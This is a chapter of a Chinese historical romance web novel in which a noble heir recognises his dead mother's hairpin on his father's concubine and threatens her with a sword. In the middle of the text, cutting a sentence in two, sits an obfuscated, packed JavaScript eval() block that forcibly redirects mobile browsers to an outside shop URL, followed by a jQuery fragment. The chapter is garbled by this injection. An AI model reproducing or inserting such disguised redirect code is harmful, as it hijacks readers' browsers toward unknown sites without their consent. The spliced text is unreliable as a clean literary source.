而温姨娘叫裴昭宁的人拦在外面,等了许久也不曾见人,心中认定了裴昭宁是在拿乔。
很是不满。
同身边的丫鬟小声抱怨了两句:“我可是时哥儿的生母,好歹也算是她婆母,她怎能这般冷待我?”
丫鬟不敢接话,只能劝着她道:“今儿天寒,郡主从宫中出来想必也累着了。”
温姨娘更是不高兴,嘴角轻轻往下一撇:“累着了?那寻常人家的小姐姑娘哪个对着婆母不是晨昏定省,便是吃饭都是在旁边站着伺候?偏她娇贵得紧。”
丫鬟心想不然呢?
这可是皇家的人,走哪儿不是叫人捧着的,圣上又疼爱得紧,便是温贵妃都不敢置喙什么。
再说就算要摆婆母架子,有夫人老夫人在,怎么也轮不到一个姨娘。
姨娘近日春风得意,也实在太狂妄了些。
不过这话也轮不到她一个丫鬟提点,上次说这些话的紫云姐姐险些被打死,也幸得世子爷路过。
“瞧你那没出息的样。”
温姨娘狠狠掐了她一下。
丫鬟吃痛,却又不敢躲避,含着眼泪忍下。
温姨娘忽而松了手:“你瞧,那是不是那个短命鬼?”
丫鬟自然知道她说的是谁。
侧身看去,梅林的小径蜿蜒而出,雪压枝低,天地间只余一片素白。
一道身影从梅林中走出来,墨色大氅拂过低垂的花枝,簌簌落下一阵雪,被身后撑出的伞轻轻挡去。
“回夫人的话...正是世子爷。”
而空青也看见了温姨娘,心头暗道一声晦气。
殷珩目光掠过那一行人,眼底的笑意瞬间淡了去,却也懒得理会。
脚步未停。
方才不觉得,这会儿离了裴昭宁,的确觉得有些冷了,身上说不出的难受,便想着早些回屋中躺会儿。
温姨娘从旁边走过来,挡在石阶下。
“哟,世子爷这是去哪儿了?”
殷珩脚步一顿,丹凤眼漫不经心抬起。
他身量,站在台阶上,这般轻轻一眼,颇有几分居高临下之意。
空青上前两步:“劳驾姨娘让让。”
温姨娘笑意微微一僵,心头暗恨,却仍是没挪开脚步。
不知为何她看着殷珩从那儿走出来,心中有点说不出的不安。
下着雪,这短命鬼在外面做什么呢?
平日里连院子都不肯出,说什么大夫说的不能吹风受寒,府里的银丝炭都先紧着他那儿呢。
温姨娘虽嚣张了些,在某些事上却是格外敏感,不然也不会叫宁国公独宠多年。
几乎是顷刻就想到了裴昭宁。
他莫不是还想攀着郡主?
郡主都和她儿定下亲事了,这短命鬼竟然还不死心?
温姨娘边想着,便又试探道:“不是说身子不适,回厢房歇着了吗?老夫人刚还担心着呢,早知世子爷只是寻了借口出来玩,怎不好好与老夫人说,也好少叫她担心几分。”
空青冷声道:“温姨娘慎言,我们世子的事轮不着你来管,您若有什么不满,自去回秉了老夫人便是。”
心头暗骂温姨娘没脸没皮,国公爷的侍妾堵在路上世子爷跟前,他也不好动手。
只能看向温姨娘的侍女:“还不扶着你们姨娘些。”
侍女为难不已,也觉姨娘此番不妥,却又不敢上前,轻声道:“夫人…”
温姨娘回手一巴掌打过去。
“贱蹄子,主子说话也由得你插嘴?”
殷珩轻轻皱眉,就听她又道。
“我这也是担心世子爷,毕竟今日寺中女眷颇多,宫里也来了人,世子爷莫要冲撞了谁才好。”
殷珩怎会听不出她的意思,指尖把玩着的金豆蓦然掷出。
温姨娘盈盈笑着,鬓边的赤金步摇在雪光里晃得刺眼,颈边忽然传来剧痛。
“唉哟——”
她身子歪了歪。
“夫人,您没事吧。”
侍女忙扶着她,趁机往旁挪了些。
空青松了口气,却见方才神色淡然的人此刻脸色煞白,死死盯着温姨娘头上的簪子,大步走到她身前,抬手用力一挥。
“爷!”
空青心头一惊,却来不及阻拦。
伴随着温姨娘的尖叫,那根金簪被殷珩攥在了掌心,镶嵌的宝石上一道浅浅的划痕,那是他幼时调皮落下的痕迹。
几缕碎发挂在上面,他指尖轻颤着扶去。
胸口气血翻涌,他眼前忽然一阵发黑,拿着金簪的手猛地收紧,指尖掐进掌心。
胃里翻涌起一阵剧烈的恶心。
他抬起眼,看着温姨娘,眼底戾气翻涌。
温姨娘头发散乱,吓得脸色发白。
“这簪子你哪儿来的?”
这分明是他母亲的。
殷珩记得幼时曾见她戴过几次,后来母亲去世,他整理遗物时,却怎么也找不到这根簪子,嬷嬷劝他,或许是丢了,又或许是夫人当年赏了人去。
他从来没想过,竟会在温氏的手中。
怎么能在温氏的手中。
殷珩心头恨得几乎滴血,凤目里翻涌着滔天的怒意,烧得他眼尾泛红。
他蓦然一回身,抽出空青腰间佩剑。
“啊!”
温氏与身边丫鬟齐齐尖叫起来。
“世子爷,您做什么…”
丫鬟大着胆子挡在温姨娘身前,声音都有点发抖。
“滚开!”
“爷!”
空青亦一个侧身跪在了殷珩面前。
温姨娘此时亦回过神来,想起那簪子,心头一慌。
她想着要见郡主,方才刻意换上的。
怎么就忘了取…她也没想到,这么多年了,殷珩还记得这簪子。
她自然不敢说,心头慌乱不已,强装着镇定叱道:“世子爷,我好歹也是你庶母,你这是要做什么?”
殷珩抬起剑,剑锋直指她脸颊。
剑身映出他苍白狠戾的侧颜。
“爷…”
空青抱住他的腿,不住哀求道,“您冷静些,咱们去找老夫人做主好不好?长乐郡主和太子妃还在这儿呢,别惊着了宫里的贵人。”
他试探着提起裴昭宁。
果见殷珩神色微微松动了些。
剑尖没再往前进上一寸。
温姨娘仍是吓得发抖,嘴唇哆嗦着,半点儿不见方才的气势:“世子爷…你要做什么,这是国公爷赏我的簪子,你为难我做什么?”
国公爷。
好一个国公爷。
殷珩深深吸了口气,咽下喉间涌出的腥甜,闭了闭眼,丢下手中的剑。
*
裴昭宁半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631507|206370||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点儿不知自己与殷珩分开后的事。
回了厢房没一会儿,林侧妃那边的人便来请她过去,二人一同用过斋饭。
又歇了片刻,林侧妃便提起回宫。
不曾想竟有碰上宁国公府的人。
他们竟也是准备下山。
裴昭宁有点惊讶。
因着从前与殷珩的关系,她随着殷老夫人来过几次皇觉寺。
殷老夫人喜好佛法,向来是要待到傍晚时才会回去,偶尔还会在寺中住上一夜。
这次怎这般早就回府去了?
裴昭宁试探着问起殷老夫人。
殷老夫人面上看不出什么,只是笑着道:“风雪太大,怕晚了不好下山,老身想着还是早些回府罢。”
裴昭宁还是不太放心,此刻也不见殷珩的身影。
过了一会儿,有人从寺中出来。
裴昭宁定睛一看,却是温姨娘。
当即收回了目光。
温姨娘却走了过来,对着殷老夫人盈盈一福身:“老夫人。”
又看着裴昭宁道:“郡主。”
殷老夫人扫了她一眼,面色微冷下来:“见了郡主不知行礼吗?”
温姨娘神色一僵。
这世间哪有婆母给儿媳行礼的道理。
只是老夫人在这里,她不敢造次,只好又向着裴昭宁福了福身。
原以为裴昭宁会赶紧叫她免礼,却不曾想她竟站在那儿将这个礼受了。
温姨娘心头暗恨。
只是她此时心中揣着更重的事,连话也没敢多说一句,只是稍稍侧过脸,低垂着眉眼。
正好叫人看清她略有些红肿的眼皮。
裴昭宁的确看得清楚,正觉奇怪,忽然看见殷珩走了出来。
她全副心神顿时被引了过去。
身上的衣裳好歹是换过了。
只是脸色还是不大好,空青扶着,步伐有些虚。
裴昭宁心头微微一揪,也不好明目张胆看太久。
正要收回目光,却见殷珩抬起眼。
四目相对的瞬间。
裴昭宁看见他微红的眼尾。
一闪而过的脆弱水光。
“郡主…”
清荷轻轻道,“都准备好了。”
裴昭宁看向不远处的马车,只好与殷老夫人告辞。
她坐在马车上,仍在回想刚刚殷珩那个眼神。
只觉得格外不对劲儿。
她总觉得方才与殷珩分开后出了什么事,可此时也没办法打听。
心头难掩焦急。
正想着,忽然听见林侧妃道:“这平安符可是郡主为着殷老夫人求的,怎么没送去呢?”
裴昭宁一愣。
林侧妃含笑看着她,将手中的平安符递给她。
裴昭宁蓦然反应过来,感激道:“林姐姐说的是,我方才忘了,恰好这会儿送过去。”
林侧妃温声吩咐车夫调转了方向:“我便不去了,一会就在马车里等着郡主。”
她身为太子侧妃,的确不好随意踏足臣子府上。
裴昭宁愈发觉得她善解人意。
难怪太子哥哥喜欢她,就连太子妃也与她情同姐妹。
而此时,宁国公府众人已经到了府上。
老夫人落了坐,看着众人,脸上笑意瞬间消失。
“温氏,跪下。”